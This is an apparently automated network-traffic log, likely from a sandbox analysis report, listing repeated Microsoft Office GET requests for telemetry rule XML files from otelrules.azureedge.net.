Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
